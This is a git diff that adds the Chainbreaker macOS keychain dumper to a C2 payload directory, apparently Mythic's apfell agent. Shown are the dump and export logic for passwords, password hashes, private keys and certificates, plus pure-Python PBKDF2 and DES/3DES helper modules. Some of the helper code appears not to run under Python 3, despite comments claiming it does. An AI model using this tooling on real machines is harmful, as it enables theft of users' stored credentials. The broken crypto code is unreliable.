"Keychain 256: %s" % keychain_sha256, + "Dump Start: %s" % datetime.datetime.now(), + ] + + for line in summary_output: + logger.info(line) + + summary_output.append("Dump Summary:") + + # Done parsing out input options, now actually do the work. + keychain = Chainbreaker(args.keychain, unlock_password=args.password, unlock_key=args.key, + unlock_file=args.unlock_file) + + if args.check_unlock: + if keychain.locked: + logger.info("Invalid Unlock Options") + exit(1) + else: + logger.info("Keychain Unlock Successful.") + exit(0) + + output = [] + + if args.dump_keychain_password_hash or args.export_keychain_password_hash: + output.append( + { + 'header': 'Keychain Password Hash', + 'records': [keychain.dump_keychain_password_hash()], # A little hackish, but whatever. + 'write_to_console': args.dump_keychain_password_hash, + 'write_to_disk': args.export_keychain_password_hash, + 'write_directory': os.path.join(args.output) + } + ) + + if args.dump_generic_passwords or args.export_generic_passwords: + output.append( + { + 'header': 'Generic Passwords', + 'records': keychain.dump_generic_passwords(), + 'write_to_console': args.dump_generic_passwords, + 'write_to_disk': args.export_generic_passwords, + 'write_directory': os.path.join(args.output, 'passwords', 'generic') + } + ) + if args.dump_internet_passwords or args.export_internet_passwords: + output.append( + { + 'header': 'Internet Passwords', + 'records': keychain.dump_internet_passwords(), + 'write_to_console': args.dump_internet_passwords, + 'write_to_disk': args.export_internet_passwords, + 'write_directory': os.path.join(args.output, 'passwords', 'internet') + } + ) + if args.dump_appleshare_passwords or args.export_appleshare_passwords: + output.append( + { + 'header': 'Appleshare Passwords', + 'records': keychain.dump_appleshare_passwords(), + 'write_to_console': args.dump_appleshare_passwords, + 'write_to_disk': args.export_appleshare_passwords, + 'write_directory': os.path.join(args.output, 'passwords', 'appleshare') + } + ) + if args.dump_private_keys or args.export_private_keys: + output.append( + { + 'header': 'Private Keys', + 'records': keychain.dump_private_keys(), + 'write_to_console': args.dump_private_keys, + 'write_to_disk': args.export_private_keys, + 'write_directory': os.path.join(args.output, 'keys', 'private') + } + ) + if args.dump_public_keys or args.export_public_keys: + output.append( + { + 'header': 'Public Keys', + 'records': keychain.dump_public_keys(), + 'write_to_console': args.dump_public_keys, + 'write_to_disk': args.export_public_keys, + 'write_directory': os.path.join(args.output, 'keys', 'public') + } + ) + if args.dump_x509_certificates or args.export_x509_certificates: + output.append( + { + 'header': 'x509 Certificates', + 'records': keychain.dump_x509_certificates(), + 'write_to_console': args.dump_x509_certificates, + 'write_to_disk': args.export_x509_certificates, + 'write_directory': os.path.join(args.output, 'certificates') + } + ) + + try: + for record_collection in output: + if 'records' in record_collection: + number_records = len(record_collection['records']) + collection_summary = "%s %s" % (len(record_collection['records']), record_collection['header']) + logger.info(collection_summary) + + summary_output.append("\t%s" % collection_summary) + + for record in record_collection['records']: + if record_collection.get('write_to_console', False): + for line in str(record).split('\n'): + logger.info("\t%s" % line) + if record_collection.get('write_to_disk', False): + record.write_to_disk(record_collection.get('write_directory', args.output)) + logger.info("") + + summary_output.append("Dump End: %s" % datetime.datetime.now()) + + if any(x.get('write_to_disk', False) for x in output): + with open(os.path.join(args.output, "summary.txt"), 'w') as summary_fp: + for line in summary_output: + summary_fp.write("%s\n" % line) + logger.info(line) + else: + for line in summary_output: + logger.info(line) + + except KeyboardInterrupt: + exit(0) + + exit(0) + +# Some great reading on the Keychain Format can be found here: +# https://repo.zenk-security.com/Forensic/Keychain%20Analysis%20with%20Mac%20OS%20X%20Memory%20Forensics.pdf diff --git a/Payload_Type/apfell/mythic/chainbreaker/pbkdf2.py b/Payload_Type/apfell/mythic/chainbreaker/pbkdf2.py new file mode 100644 index 0000000..8d46d39 --- /dev/null +++ b/Payload_Type/apfell/mythic/chainbreaker/pbkdf2.py @@ -0,0 +1,93 @@ +#!/usr/bin/python + +# A simple implementation of pbkdf2 using stock python modules. See RFC2898 +# for details. Basically, it derives a key from a password and salt. + +# (c) 2004 Matt Johnston +# This code may be freely used and modified for any purpose. +# +# 10/13/2020 - Some updates by luke@socially-inept.net to made to make module +# compatible with Python3 and a little more usable all-around. + +from hashlib import sha1 +import hmac + +from binascii import hexlify, unhexlify +from struct import pack + + +class PBKDF2(object): + BLOCKLEN = 20 + + # this is what you want to call. + def __init__(self, password, salt, itercount, keylen, hashfn=sha1): + self.password = password + self.salt = salt + self.itercount = itercount + self.keylen = keylen + self.hashfn = hashfn + + # l - number of output blocks to produce + l = self.keylen / PBKDF2.BLOCKLEN + if self.keylen % PBKDF2.BLOCKLEN != 0: + l += 1 + + h = hmac.new(self.password, None, self.hashfn) + + T = "" + for i in range(1, l + 1): + T += PBKDF2._pbkdf2_f(h, self.salt, self.itercount, i) + + self.key = T[: -(PBKDF2.BLOCKLEN - self.keylen % PBKDF2.BLOCKLEN)] + + @staticmethod + def _xorstr(a, b): + if len(a) != len(b): + raise Exception("xorstr(): lengths differ") + + ret = '' + for i in range(len(a)): + ret += chr(ord(a[i]) ^ ord(b[i])) + + return ret + + @staticmethod + def _prf(h, data): + hm = h.copy() + hm.update(data) + return hm.digest() + + # Helper as per the spec. h is a hmac which has been created seeded with the + # password, it will be copy()ed and not modified. + @staticmethod + def _pbkdf2_f(h, salt, itercount, blocknum): + U = PBKDF2._prf(h, salt + pack('>i', blocknum)) + T = U + + for i in range(2, itercount + 1): + U = PBKDF2._prf(h, U) + T = PBKDF2._xorstr(T, U) + + return T + + def __repr__(self): + return self.key + + def __str__(self): + return str(self.key) + + +def test(): + # test vector from rfc3211 + # password = 'password' + salt = unhexlify('1234567878563412') + password = 'All n-entities must communicate with other n-entities via n-1 entiteeheehees' + itercount = 500 + keylen = 16 + ret = PBKDF2(password, salt, itercount, keylen) + print("key: %s" % hexlify(str(ret))) + print("expected: 6A 89 70 BF 68 C9 2C AE A8 4A 8D F2 85 10 85 86") + + +if __name__ == '__main__': + test() diff --git a/Payload_Type/apfell/mythic/chainbreaker/pyDes.py b/Payload_Type/apfell/mythic/chainbreaker/pyDes.py new file mode 100644 index 0000000..4a8e4f2 --- /dev/null +++ b/Payload_Type/apfell/mythic/chainbreaker/pyDes.py @@ -0,0 +1,810 @@ +# ############################################################################ +# Documentation # +############################################################################# + +# Author: Todd Whiteman +# Date: 7th May, 2003 +# Verion: 1.1 +# Homepage: http://home.pacific.net.au/~twhitema/des.html +# +# 10/13/2020 - Updates by luke@socially-inept.net made to make module +# compatible with Python3, corrected a few very minor +# PIP things. +# +# Modifications to 3des CBC code by Matt Johnston 2004 +# +# This algorithm is a pure python implementation of the DES algorithm. +# It is in pure python to avoid portability issues, since most DES +# implementations are programmed in C (for performance reasons). +# +# Triple DES class is also implemented, utilising the DES base. Triple DES +# is either DES-EDE3 with a 24 byte key, or DES-EDE2 with a 16 byte key. +# +# See the README.txt that should come with this python module for the +# implementation methods used. + +"""A pure python implementation of the DES and TRIPLE DES encryption algorithms + +pyDes.des(key, [mode], [IV]) +pyDes.triple_des(key, [mode], [IV]) + +key -> String containing the encryption key. 8 bytes for DES, 16 or 24 bytes + for Triple DES +mode -> Optional argument for encryption type, can be either + pyDes.ECB (Electronic Code Book) or pyDes.CBC (Cypher Block Chaining) +IV -> Optional argument, must be supplied if using CBC mode. Must be 8 bytes + + +Example: +from pyDes import * + +data = "Please encrypt my string" +k = des("DESCRYPT", " ", CBC, "\0\0\0\0\0\0\0\0") +d = k.encrypt(data) +print("Encypted string: " + d) +print("Decypted string: " + k.decrypt(d)) + +See the module source (pyDes.py) for more examples of use. +You can slo run the pyDes.py file without and arguments to see a simple test. + +Note: This code was not written for high-end systems needing a fast + implementation, but rather a handy portable solution with small usage. + +""" + +# Modes of crypting / cyphering +ECB = 0 +CBC = 1 + + +############################################################################# +# DES # +############################################################################# +class DES(object): + """DES encryption/decrytpion class + + Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes. + + pyDes.des(key,[mode], [IV]) + + key -> The encryption key string, must be exactly 8 bytes + mode -> Optional argument for encryption type, can be either pyDes.ECB + (Electronic Code Book), pyDes.CBC (Cypher Block Chaining) + IV -> Optional string argument, must be supplied if using CBC mode. + Must be 8 bytes in length. + """ + + # Permutation and translation tables for DES + __pc1 = [56, 48, 40, 32, 24, 16, 8, + 0, 57, 49, 41, 33, 25, 17, + 9, 1, 58, 50, 42, 34, 26, + 18, 10, 2, 59, 51, 43, 35, + 62, 54, 46, 38, 30, 22, 14, + 6, 61, 53, 45, 37, 29, 21, + 13, 5, 60, 52, 44, 36, 28, + 20, 12, 4, 27, 19, 11, 3 + ] + + # number left rotations of pc1 + __left_rotations = [ + 1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1 + ] + + # permuted choice key (table 2) + __pc2 = [ + 13, 16, 10, 23, 0, 4, + 2, 27, 14, 5, 20, 9, + 22, 18, 11, 3, 25, 7, + 15, 6, 26, 19, 12, 1, + 40, 51, 30, 36, 46, 54, + 29, 39, 50, 44, 32, 47, + 43, 48, 38, 55, 33, 52, + 45, 41, 49, 35, 28, 31 + ] + + # initial permutation IP + __ip = [57, 49, 41, 33, 25, 17, 9, 1, + 59, 51, 43, 35, 27, 19, 11, 3, + 61, 53, 45, 37, 29, 21, 13, 5, + 63, 55, 47, 39, 31, 23, 15, 7, + 56, 48, 40, 32, 24, 16, 8, 0, + 58, 50, 42, 34, 26, 18, 10, 2, + 60, 52, 44, 36, 28, 20, 12, 4, + 62, 54, 46, 38, 30, 22, 14, 6 + ] + + # Expansion table for turning 32 bit blocks into 48 bits + __expansion_table = [ + 31, 0, 1, 2, 3, 4, + 3, 4, 5, 6, 7, 8, + 7, 8, 9, 10, 11, 12, + 11, 12, 13, 14, 15, 16, + 15, 16, 17, 18, 19, 20, + 19, 20, 21, 22, 23, 24, + 23, 24, 25, 26, 27, 28, + 27, 28, 29, 30, 31, 0 + ] + + # The (in)famous S-boxes + __sbox = [ # S1 + [14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7, + 0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8, + 4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0, + 15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13], # S2 + [15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10, + 3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5, + 0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15, + 13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9], # S3 + [10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8, + 13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1, + 13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7, + 1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12], # S4 + [7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15, + 13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9, + 10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4, + 3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14], # S5 + [2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9, + 14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6, + 4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14, + 11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3], # S6 + [12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11, + 10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8, + 9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6, + 4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13], # S7 + [4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1, + 13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6, + 1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2, + 6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12], # S8 + [13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7, + 1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2, + 7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8, + 2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11], + ] + + # 32-bit permutation function P used on the output of the S-boxes + __p = [ + 15, 6, 19, 20, 28, 11, + 27, 16, 0, 14, 22, 25, + 4, 17, 30, 9, 1, 7, + 23, 13, 31, 26, 2, 8, + 18, 12, 29, 5, 21, 10, + 3, 24 + ] + + # final permutation IP^-1 + __fp = [ + 39, 7, 47, 15, 55, 23, 63, 31, + 38, 6, 46, 14, 54, 22, 62, 30, + 37, 5, 45, 13, 53, 21, 61, 29, + 36, 4, 44, 12, 52, 20, 60, 28, + 35, 3, 43, 11, 51, 19, 59, 27, + 34, 2, 42, 10, 50, 18, 58, 26, + 33, 1, 41, 9, 49, 17, 57, 25, + 32, 0, 40, 8, 48, 16, 56, 24 + ] + + # Type of crypting being done + ENCRYPT = 0x00 + DECRYPT = 0x01 + + # Initialisation + def __init__(self, key, mode=ECB, IV=None): + if len(key) != 8: + raise ValueError("Invalid DES key size. Key must be exactly 8 bytes long.") + self.block_size = 8 + self.key_size = 8 + self.__padding = '' + + # Set the passed in variables + self.setMode(mode) + if IV: + self.setIV(IV) + + self.L = [] + self.R = [] + self.Kn = [[0] * 48] * 16 # 16 48-bit keys (K1 - K16) + self.final = [] + + self.setKey(key) + + def getKey(self): + """getKey() -> string""" + return self.__key + + def setKey(self, key): + """Will set the crypting key for this object. Must be 8 bytes.""" + self.__key = key + self.__create_sub_keys() + + def getMode(self): + """getMode() -> pyDes.ECB or pyDes.CBC""" + return self.__mode + + def setMode(self, mode): + """Sets the type of crypting mode, pyDes.ECB or pyDes.CBC""" + self.__mode = mode + + def getIV(self): + """getIV() -> string""" + return self.__iv + + def setIV(self, IV): + """Will set the Initial Value, used in conjunction with CBC mode""" + if not IV or len(IV) != self.block_size: + raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes") + self.__iv = IV + + def getPadding(self): + """getPadding() -> string of length 1. Padding character.""" + return self.__padding + + def __String_to_BitList(self, data): + """Turn the string data, into a list of bits (1, 0)'s""" + l = len(data) * 8 + result = [0] * l + pos = 0 + for c in data: + i = 7 + ch = ord(c) + while i >= 0: + if ch & (1 << i) != 0: + result[pos] = 1 + else: + result[pos] = 0 + pos += 1 + i -= 1 + + return result + + def __BitList_to_String(self, data): + """Turn the list of bits -> data, into a string""" + result = '' + pos = 0 + c = 0 + while pos < len(data): + c += data[pos] << (7 - (pos % 8)) + if (pos % 8) == 7: + result += chr(c) + c = 0 + pos += 1 + + return result + + def __permutate(self, table, block): + """Permutate this block with the specified table""" + return map(lambda x: block[x], table) + + # Transform the secret key, so that it is ready for data processing + # Create the 16 subkeys, K[1] - K[16] + def __create_sub_keys(self): + """Create the 16 subkeys K[1] to K[16] from the given key""" + key = self.__permutate(DES.__pc1, self.__String_to_BitList(self.getKey())) + i = 0 + # Split into Left and Right sections + self.L = key[:28] + self.R = key[28:] + while i < 16: + j = 0 + # Perform circular left shifts + while j < DES.__left_rotations[i]: + self.L.append(self.L[0]) + del self.L[0] + + self.R.append(self.R[0]) + del self.R[0] + + j += 1 + + # Create one of the 16 subkeys through pc2 permutation + self.Kn[i] = self.__permutate(DES.__pc2, self.L + self.R) + + i += 1 + + # Main part of the encryption algorithm, the number cruncher :) + def __des_crypt(self, block, crypt_type): + """Crypt the block of data through DES bit-manipulation""" + block = self.__permutate(DES.__ip, block) + self.L = block[:32] + self.R = block[32:] + + # Encryption starts from Kn[1] through to Kn[16] + if crypt_type == DES.ENCRYPT: + iteration = 0 + iteration_adjustment = 1 + # Decryption starts from Kn[16] down to Kn[1] + else: + iteration = 15 + iteration_adjustment = -1 + + i = 0 + while i < 16: + # Make a copy of R[i-1], this will later become L[i] + tempR = self.R[:] + + # Permutate R[i - 1] to start creating R[i] + self.R = self.__permutate(DES.__expansion_table, self.R) + + # Exclusive or R[i - 1] with K[i], create B[1] to B[8] whilst here + self.R = map(lambda x, y: x ^ y, self.R, self.Kn[iteration]) + B = [self.R[:6], self.R[6:12], self.R[12:18], self.R[18:24], self.R[24:30], self.R[30:36], self.R[36:42], + self.R[42:]] + # Optimization: Replaced below commented code with above + # j = 0 + # B = [] + # while j < len(self.R): + # self.R[j] = self.R[j] ^ self.Kn[iteration][j] + # j += 1 + # if j % 6 == 0: + # B.append(self.R[j-6:j]) + + # Permutate B[1] to B[8] using the S-Boxes + j = 0 + Bn = [0] * 32 + pos = 0 + while j < 8: + # Work out the offsets + m = (B[j][0] << 1) + B[j][5] + n = (B[j][1] << 3) + (B[j][2] << 2) + (B[j][3] << 1) + B[j][4] + + # Find the permutation value + v = DES.__sbox[j][(m << 4) + n] + + # Turn value into bits, add it to result: Bn + Bn[pos] = (v & 8) >> 3 + Bn[pos + 1] = (v & 4) >> 2 + Bn[pos + 2] = (v & 2) >> 1 + Bn[pos + 3] = v & 1 + + pos += 4 + j += 1 + + # Permutate the concatination of B[1] to B[8] (Bn) + self.R = self.__permutate(DES.__p, Bn) + + # Xor with L[i - 1] + self.R = map(lambda x, y: x ^ y, self.R, self.L) + # Optimization: This now replaces the below commented code + # j = 0 + # while j < len(self.R): + # self.R[j] = self.R[j] ^ self.L[j] + # j += 1 + + # L[i] becomes R[i - 1] + self.L = tempR + + i += 1 + iteration += iteration_adjustment + + # Final permutation of R[16]L[16] + self.final = self.__permutate(DES.__fp, self.R + self.L) + return self.final + + # Data to be encrypted/decrypted + def crypt(self, data, crypt_type): + """Crypt the data in blocks, running it through des_crypt()""" + + # Error check the data + if not data: + return '' + if len(data) % self.block_size != 0: + if crypt_type == DES.DECRYPT: # Decryption must work on 8 byte blocks + raise ValueError( + "Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n.") + if not self.getPadding(): + raise ValueError("Invalid data length, data must be a multiple of " + str( + self.block_size) + " bytes\n. Try setting the optional padding character") + else: + data += (self.block_size - (len(data) % self.block_size)) * self.getPadding() + # print("Len of data: %f" % (len(data) / self.block_size)) + + if self.getMode() == CBC: + if self.getIV(): + iv = self.__String_to_BitList(self.getIV()) + else: + raise ValueError("For CBC mode, you must supply the Initial Value (IV) for ciphering") + + # Split the data into blocks, crypting each one seperately + i = 0 + dict = {} + result = [] + # cached = 0 + # lines = 0 + while i < len(data): + # Test code for caching encryption results + # lines += 1 + # if dict.has_key(data[i:i+8]): + # print("Cached result for: %s" % data[i:i+8]) + # cached += 1 + # result.append(dict[data[i:i+8]]) + # i += 8 + # continue + + block = self.__String_to_BitList(data[i:i + 8]) + + # Xor with IV if using CBC mode + if self.getMode() == CBC: + if crypt_type == DES.ENCRYPT: + block = map(lambda x, y: x ^ y, block, iv) + # j = 0 + # while j < len(block): + # block[j] = block[j] ^ iv[j] + # j += 1 + + processed_block = self.__des_crypt(block, crypt_type) + + if crypt_type == DES.DECRYPT: + processed_block = map(lambda x, y: x ^ y, processed_block, iv) + # j = 0 + # while j < len(processed_block): + # processed_block[j] = processed_block[j] ^ iv[j] + # j += 1 + iv = block + else: + iv = processed_block + else: + processed_block = self.__des_crypt(block, crypt_type) + + # Add the resulting crypted block to our list + # d = self.__BitList_to_String(processed_block) + # result.append(d) + result.append(self.__BitList_to_String(processed_block)) + # dict[data[i:i+8]] = d + i += 8 + + # print("Lines: %d, cached: %d" % (lines, cached)) + + # Remove the padding from the last block + if crypt_type == DES.DECRYPT and self.getPadding(): + # print("Removing decrypt pad") + s = result[-1] + while s[-1] == self.getPadding(): + s = s[:-1] + result[-1] = s + + # Return the full crypted string + return ''.join(result) + + def encrypt(self, data, pad=''): + """ + encrypt(data, [pad]) -> string + + data : String to be encrypted + pad : Optional argument for encryption padding. Must only be one byte + + The data must be a multiple of 8 bytes and will be encrypted + with the already specified key. Data does not have to be a + multiple of 8 bytes if the padding character is supplied, the + data will then be padded to a multiple of 8 bytes with this + pad character. + """ + self.__padding = pad + return self.crypt(data, DES.ENCRYPT) + + def decrypt(self, data, pad=''): + """ + decrypt(data, [pad]) -> string + + data : String to be encrypted + pad : Optional argument for decryption padding. Must only be one byte + + The data must be a multiple of 8 bytes and will be decrypted + with the already specified key. If the optional padding character + is supplied, then the un-encypted data will have the padding characters + removed from the end of the string. This pad removal only occurs on the + last 8 bytes of the data (last data block). + """ + self.__padding = pad + return self.crypt(data, DES.DECRYPT) + + +############################################################################# +# Triple DES # +############################################################################# +class TripleDES(object): + """ + Triple DES encryption/decrytpion class + + This algorithm uses the DES-EDE3 (when a 24 byte key is supplied) or + the DES-EDE2 (when a 16 byte key is supplied) encryption methods. + Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes. + + pyDes.des(key, [mode], [IV]) + + key -> The encryption key string, must be either 16 or 24 bytes long + mode -> Optional argument for encryption type, can be either pyDes.ECB + (Electronic Code Book), pyDes.CBC (Cypher Block Chaining) + IV -> Optional string argument, must be supplied if using CBC mode. + Must be 8 bytes in length. + """ + + def __init__(self, key, mode=ECB, IV=None): + self.block_size = 8 + self.setMode(mode) + self.__padding = '' + self.__iv = IV + self.setKey(key) + + def getKey(self): + """getKey() -> string""" + return self.__key + + def setKey(self, key): + """Will set the crypting key for this object. Either 16 or 24 bytes long.""" + self.key_size = 24 # Use DES-EDE3 mode + if len(key) != self.key_size: + if len(key) == 16: # Use DES-EDE2 mode + self.key_size = 16 + else: + raise ValueError("Invalid triple DES key size. Key must be either 16 or 24 bytes long") + if self.getMode() == CBC and (not self.getIV() or len(self.getIV()) != self.block_size): + raise ValueError("Invalid IV, must be 8 bytes in length") ## TODO: Check this + # modes get handled later, since CBC goes on top of the triple-des + self.__key1 = DES(key[:8]) + self.__key2 = DES(key[8:16]) + if self.key_size == 16: + self.__key3 = self.__key1 + else: + self.__key3 = DES(key[16:]) + self.__key = key + + def getMode(self): + """getMode() -> pyDes.ECB or pyDes.CBC""" + return self.__mode + + def setMode(self, mode): + """Sets the type of crypting mode, pyDes.ECB or pyDes.CBC""" + self.__mode = mode + + def getIV(self): + """getIV() -> string""" + return self.__iv + + def setIV(self, IV): + """Will set the Initial Value, used in conjunction with CBC mode""" + self.__iv = IV + + def xorstr(self, x, y): + """Returns the bitwise xor of the bytes in two strings""" + if len(x) != len(y): + raise Exception("string lengths differ %d %d" % (len(x), len(y))) + + ret = '' + for i in range(len(x)): + ret += chr(ord(x[i]) ^ ord(y[i])) + + return ret + + def encrypt(self, data, pad=''): + """ + encrypt(data, [pad]) -> string + + data : String to be encrypted + pad : Optional argument for encryption padding. Must only be one byte + + The data must be a multiple of 8 bytes and will be encrypted + with the already specified key. Data does not have to be a + multiple of 8 bytes if the padding character is supplied, the + data will then be padded to a multiple of 8 bytes with this + pad character. + """ + if self.getMode() == ECB: + # simple + data = self.__key1.encrypt(data, pad) + data = self.__key2.decrypt(data) + return self.__key3.encrypt(data) + + if self.getMode() == CBC: + raise Exception("This code hasn't been tested yet") + if len(data) % self.block_size != 0: + raise Exception("CBC mode needs datalen to be a multiple of blocksize (ignoring padding for now)") + + # simple + lastblock = self.getIV() + retdata = '' + for i in range(0, len(data), self.block_size): + thisblock = data[i:i + self.block_size] + # the XOR for CBC + thisblock = self._xorstr(lastblock, thisblock) + thisblock = self.__key1.encrypt(thisblock) + thisblock = self.__key2.decrypt(thisblock) + lastblock = self.__key3.encrypt(thisblock) + retdata += lastblock + return retdata + + raise Exception("Not reached") + + def decrypt(self, data, pad=''): + """ + decrypt(data, [pad]) -> string + + data : String to be encrypted + pad : Optional argument for decryption padding. Must only be one byte + + The data must be a multiple of 8 bytes and will be decrypted + with the already specified key. If the optional padding character + is supplied, then the un-encypted data will have the padding characters + removed from the end of the string. This pad removal only occurs on the + last 8 bytes of the data (last data block). + """ + if self.getMode() == ECB: + # simple + data = self.__key3.decrypt(data) + data = self.__key2.encrypt(data) + return self.__key1.decrypt(data, pad) + + if self.getMode() == CBC: + if len(data) % self.block_size != 0: + raise Exception("Can only decrypt multiples of blocksize") + + lastblock = self.getIV() + retdata = '' + for i in range(0, len(data), self.block_size): + # can I arrange this better? probably... + cipherchunk = data[i:i + self.block_size] + thisblock = self.__key3.decrypt(cipherchunk) + thisblock = self.__key2.encrypt(thisblock) + thisblock = self.__key1.decrypt(thisblock) + retdata += self.xorstr(lastblock, thisblock) + lastblock = cipherchunk + return retdata + + raise Exception("Not reached") + + +############################################################################# +# Examples # +############################################################################# +def example_triple_des(): + from time import time + + # Utility module + from binascii import unhexlify as unhex + + # example shows triple-des encryption using the des class + # print("Example of triple DES encryption in default ECB mode (DES-EDE3)\n") + + # print("Triple des using the des class (3 times)") + t = time() + k1 = DES(unhex("133457799BBCDFF1")) + k2 = DES(unhex("1122334455667788")) + k3 = DES(unhex("77661100DD223311")) + d = "Triple DES test string, to be encrypted and decrypted..." + # print("Key1: %s" % k1.getKey()) + # print("Key2: %s" % k2.getKey()) + # print("Key3: %s" % k3.getKey()) + # print("Data: %s" % d) + + e1 = k1.encrypt(d) + e2 = k2.decrypt(e1) + e3 = k3.encrypt(e2) + # print("Encrypted: " + e3) + + d3 = k3.decrypt(e3) + d2 = k2.encrypt(d3) + d1 = k1.decrypt(d2) + # print("Decrypted: " + d1) + # print("DES time taken: %f (%d crypt operations)" % (time() - t, 6 * (len(d) / 8))) + # print("") + + # Example below uses the triple-des class to achieve the same as above + # print("Now using triple des class") + t = time() + t1 = TripleDES(unhex("133457799BBCDFF1112233445566778877661100DD223311")) + # print("Key: %s" % t1.getKey()) + # print("Data: %s" % d) + + td1 = t1.encrypt(d) + # print("Encrypted: " + td1) + + td2 = t1.decrypt(td1) + # print("Decrypted: " + td2) + + # print("Triple DES time taken: %f (%d crypt operations)" % (time() - t, 6 * (len(d) / 8))) + + +def example_des(): + from time import time + + # example of DES encrypting in CBC mode with the IV of "\0\0\0\0\0\0\0\0" + # print("Example of DES encryption using CBC mode\n") + t = time() + k = DES("DESCRYPT", CBC, "\0\0\0\0\0\0\0\0") + data = "DES encryption algorithm" + # print("Key : " + k.getKey()) + # print("Data : " + data) + + d = k.encrypt(data) + # print("Encrypted: " + d) + + d = k.decrypt(d) + # print("Decrypted: " + d) + # print("DES time taken: %f (6 crypt operations)" % (time() - t)) + # print("") + + +def __test__(): + example_des() + example_triple_des() + + +def __fulltest__(): + # This should not produce any unexpected errors or exceptions + from binascii import unhexlify as unhex + from binascii import hexlify as dohex + + __test__() + # print("") + + k = DES("\0\0\0\0\0\0\0\0", CBC, "\0\0\0\0\0\0\0\0") + d = k.encrypt("DES encryption algorithm") + if k.decrypt(d) != "DES encryption algorithm": + print("Test 1 Error: Unencypted data block does not match start data") + + k = DES("\0\0\0\0\0\0\0\0", CBC, "\0\0\0\0\0\0\0\0") + d = k.encrypt("Default string of text", '*') + if k.decrypt(d, "*") != "Default string of text": + print("Test 2 Error: Unencypted data block does not match start data") + + k = DES("\r\n\tABC\r\n") + d = k.encrypt("String to Pad", '*') + if k.decrypt(d) != "String to Pad***": + print("'%s'" % k.decrypt(d)) + print("Test 3 Error: Unencypted data block does not match start data") + + k = DES("\r\n\tABC\r\n") + d = k.encrypt(unhex("000102030405060708FF8FDCB04080"), unhex("44")) + if k.decrypt(d, unhex("44")) != unhex("000102030405060708FF8FDCB04080"): + print("Test 4a Error: Unencypted data block does not match start data") + if k.decrypt(d) != unhex("000102030405060708FF8FDCB0408044"): + print("Test 4b Error: Unencypted data block does not match start data") + + k = TripleDES("MyDesKey\r\n\tABC\r\n0987*543") + d = k.encrypt(unhex( + "000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080")) + if k.decrypt(d) != unhex( + "000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080"): + print("Test 5 Error: Unencypted data block does not match start data") + + k = TripleDES("\r\n\tABC\r\n0987*543") + d = k.encrypt(unhex( + "000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080")) + if k.decrypt(d) != unhex( + "000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080"): + print("Test 6 Error: Unencypted data block does not match start data") + + +def __filetest__(): + from time import time + + f = open("pyDes.py", "rb+") + d = f.read() + f.close() + + t = time() + k = DES("MyDESKey") + + d = k.encrypt(d, " ") + f = open("pyDes.py.enc", "wb+") + f.write(d) + f.close() + + d = k.decrypt(d, " ") + f = open("pyDes.py.dec", "wb+") + f.write(d) + f.close() 